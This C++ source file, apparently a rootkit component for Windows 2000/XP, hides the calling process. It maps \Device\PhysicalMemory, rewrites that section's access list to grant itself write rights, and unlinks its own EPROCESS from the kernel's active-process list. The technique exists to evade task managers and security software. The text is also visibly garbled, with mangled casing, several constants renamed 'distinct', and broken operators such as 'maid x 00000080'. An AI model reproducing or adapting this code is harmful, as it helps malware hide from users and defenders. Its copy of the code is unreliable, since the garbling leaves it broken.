CPP source file:
//////////////////////////////////////// /////////////////////////////////////
// Hideprocess. cpp
# Include <windows. h>
# Include <accctrl. h>
# Include <aclapi. h> # Include "hideprocess. H" # Define nt_success (Status) (ntstatus) (Status)> = 0)
# Define status_info_length_mismatch (ntstatus) 0xc0000004l)
# Define STATUS_ACCESS_DENIED (ntstatus) 0xc0000022l) Typedef long ntstatus; Typedef struct _ io_status_block
{
Ntstatus status;
Ulong information;
} Io_status_block, * pio_status_block; Typedef struct _ unicode_string
{
Ushort length;
Ushort maximumlength;
Pwstr buffer;
} Unicode_string, * punicode_string; # define distinct 0x00000002l
# define distinct 0x00000010l
# define distinct 0x00000020l
# define distinct 0x00000040l
# define obj_openif 0x00000080l
# define obj_openlink 0x00000100l
# define obj_kernel_handle 0x00000200l
# define obj_valid_attributes 0x000003f2l Typedef struct _ object_attributes
{
Ulong length;
Handle rootdirectory;
Punicode_string objectname;
Ulong attributes;
Pvoid securitydescriptor;
Pvoid securityqualityofservice;
} Object_attributes, * pobject_attributes; Typedef ntstatus (callback * zwopensection )(
Out phandle sectionhandle,
In access_mask desiredaccess,
In pobject_attributes objectattributes
); Typedef void (callback * rtlinitunicodestring )(
In out punicode_string destinationstring,
In pcwstr sourcestring
); Rtlinitunicodestring;
Zwopensection;
Hmodule g_hntdll = NULL;
Pvoid g_pmapphysicalmemory = NULL;
Handle g_hmpm = NULL;
Osversioninfo g_osvi;
//---------------------------------------------------------------------------
Bool initntdll ()
{
G_hntdll = loadlibrary ("NTDLL. dll "); If (null = g_hntdll)
Return false; Rtlinitunicodestring = (rtlinitunicodestring) getprocaddress (g_hntdll, "Rtlinitunicodestring ");
Zwopensection = (zwopensection) getprocaddress (g_hntdll, "zwopensection "); Return true;
}
//---------------------------------------------------------------------------
Void closentdll ()
{
If (null! = G_hntdll)
Freelibrary (g_hntdll ); G_hntdll = NULL;
}
//---------------------------------------------------------------------------
Void setphyscialmemorysectioncanbewrited (handle hsection)
{
PACl pdacl = NULL;
Psecurity_descriptor PSD = NULL;
PACl pnewdacl = NULL;
DWORD dwres = getsecurityinfo (hsection, se_kernel_object, dacl_security_information, null, Null, & pdacl, null, & PSD ); If (error_success! = Dwres)
{ If (PSD)
Localfree (PSD );
If (pnewdacl)
Localfree (pnewdacl );
} Explicit_access EA;
Rtlzeromemory (& EA, sizeof (explicit_access ));
EA. grfaccesspermissions = section_map_write;
EA. grfaccessmode = grant_access;
EA. grfinheritance = no_inheritance;
EA. Trustee. trusteeform = trustee_is_name;
EA. Trustee. trusteetype = trustee_is_user;
EA. Trustee. ptstrname = "CURRENT_USER "; Dwres = setentriesinacl (1, & EA, pdacl, & pnewdacl );
If (error_success! = Dwres)
{ If (PSD)
Localfree (PSD );
If (pnewdacl)
Localfree (pnewdacl );
}
Dwres = setsecurityinfo (Hsection, se_kernel_object, dacl_security_information, null, null, pnewdacl, null );
If (error_success! = Dwres)
{ If (PSD)
Localfree (PSD );
If (pnewdacl)
Localfree (pnewdacl );
} }
//---------------------------------------------------------------------------
Handle openphysicalmemory ()
{
Ntstatus status;
Unicode_string physmemstring;
Object_attributes attributes;
Ulong phydirectory; G_osvi.dwosversioninfosize = sizeof (osversioninfo );
Getversionex (& g_osvi ); If (5! = G_osvi.dwmajorversion)
Return NULL; Switch (g_osvi.dwminorversion)
{
Case 0:
Phydirectory = 0x30000;
Break; // 2 K
Case 1:
Phydirectory = 0x39000;
Break; // XP
Default:
Return NULL;
} Rtlinitunicodestring (& physmemstring, l "\ device \ physicalmemory "); Attributes. Length = sizeof (object_attributes );
Attributes. rootdirectory = NULL;
Attributes. objectname = & physmemstring;
Attributes. Attributes = 0;
Attributes. securitydescriptor = NULL;
Attributes. securityqualityofservice = NULL; Status = zwopensection (& g_hmpm, section_map_read | section_map_write, & attributes ); If (status = STATUS_ACCESS_DENIED)
{
Status = zwopensection (& g_hmpm, read_control | write_dac, & attributes );
Setphyscialmemorysectioncanbewrited (g_hmpm );
Closehandle (g_hmpm );
Status = zwopensection (& g_hmpm, section_map_read | section_map_write, & attributes );
} If (! Nt_success (Status ))
Return NULL; G_pmapphysicalmemory = mapviewoffile (g_hmpm, file_map_read | file_map_write, 0, phydirectory, 0x1000 ); If (g_pmapphysicalmemory = NULL)
Return NULL; Return g_hmpm;
}
//---------------------------------------------------------------------------
Pvoid lineartophys (Pulong baseaddress, pvoid ADDR)
{
Ulong vaddr = (ulong) ADDR, pgde, PTE, paddr;
Pgde = baseaddress [vaddr> 22]; If (0 = (pgde & 1 ))
Return 0; Ulong TMP = maid x 00000080; If (0! = TMP)
{
Paddr = (pgde & 0xffc00000) + (vaddr & 0x003fffff );
}
Else
{
Pgde = (ulong) mapviewoffile (g_hmpm, 4, 0, pgde & 0xfffff000, 0x1000 );
PTE = (Pulong) pgde) [(vaddr & 0x003ff000)> 12];
If (0 = (PTE & 1 ))
Return 0; Paddr = (PTE & 0xfffff000) + (vaddr & 0x00000fff );
Unmapviewoffile (pvoid) pgde );
} Return (pvoid) paddr;
}
//---------------------------------------------------------------------------
Ulong getdata (pvoid ADDR)
{
Ulong phys = (ulong) lineartophys (Pulong) g_pmapphysicalmemory, (pvoid) ADDR );
Pulong TMP = (Pulong) mapviewoffile (g_hmpm, file_map_read | file_map_write, 0, Phys & 0xfffff000, 0x1000 );
If (0 = TMP)
Return 0; Ulong ret = TMP [(Phys & 0 xfff)> 2];
Unmapviewoffile (TMP ); Return ret;
}
//---------------------------------------------------------------------------
Bool setdata (pvoid ADDR, ulong data)
{
Ulong phys = (ulong) lineartophys (Pulong) g_pmapphysicalmemory, (pvoid) ADDR );
Pulong TMP = (Pulong) mapviewoffile (g_hmpm, file_map_write, 0, Phys & 0xfffff000, 0x1000 ); If (0 = TMP)
Return false; TMP [(Phys & 0 xfff)> 2] = data;
Unmapviewoffile (TMP ); Return true;
}
//---------------------------------------------------------------------------
Long _ stdcall exeception (struct _ prediction_pointers * TMP)
{
Exitprocess (0 );
Return 1;
}
//---------------------------------------------------------------------------
Bool yhideprocess ()
{
// Setunhandledexceptionfilter (exeception ); If (false = initntdll ())
Return false; If (0 = openphysicalmemory ())
Return false; Ulong thread = getdata (pvoid) 0xffdff124); // kteb
Ulong process = getdata (pvoid (thread + 0x44); // kpeb Ulong FW, BW;
If (0 = g_osvi.dwminorversion)
{
FW = getdata (pvoid (process + 0xa0 ));
BW = getdata (pvoid (process + 0xa4 ));
} If (1 = g_osvi.dwminorversion)
{
FW = getdata (pvoid (process + 0x88 ));
BW = getdata (pvoid (process + 0x8c ));
}
Setdata (pvoid (FW + 4), BW );
Setdata (pvoid (BW), Fw ); Closehandle (g_hmpm );
Closentdll (); Return true;
} Bool hideprocess ()
{
Static bool B _hide = false;
If (! B _hide)
{
B _hide = true;
Yhideprocess ();
Return true;
}
Return true;
} |
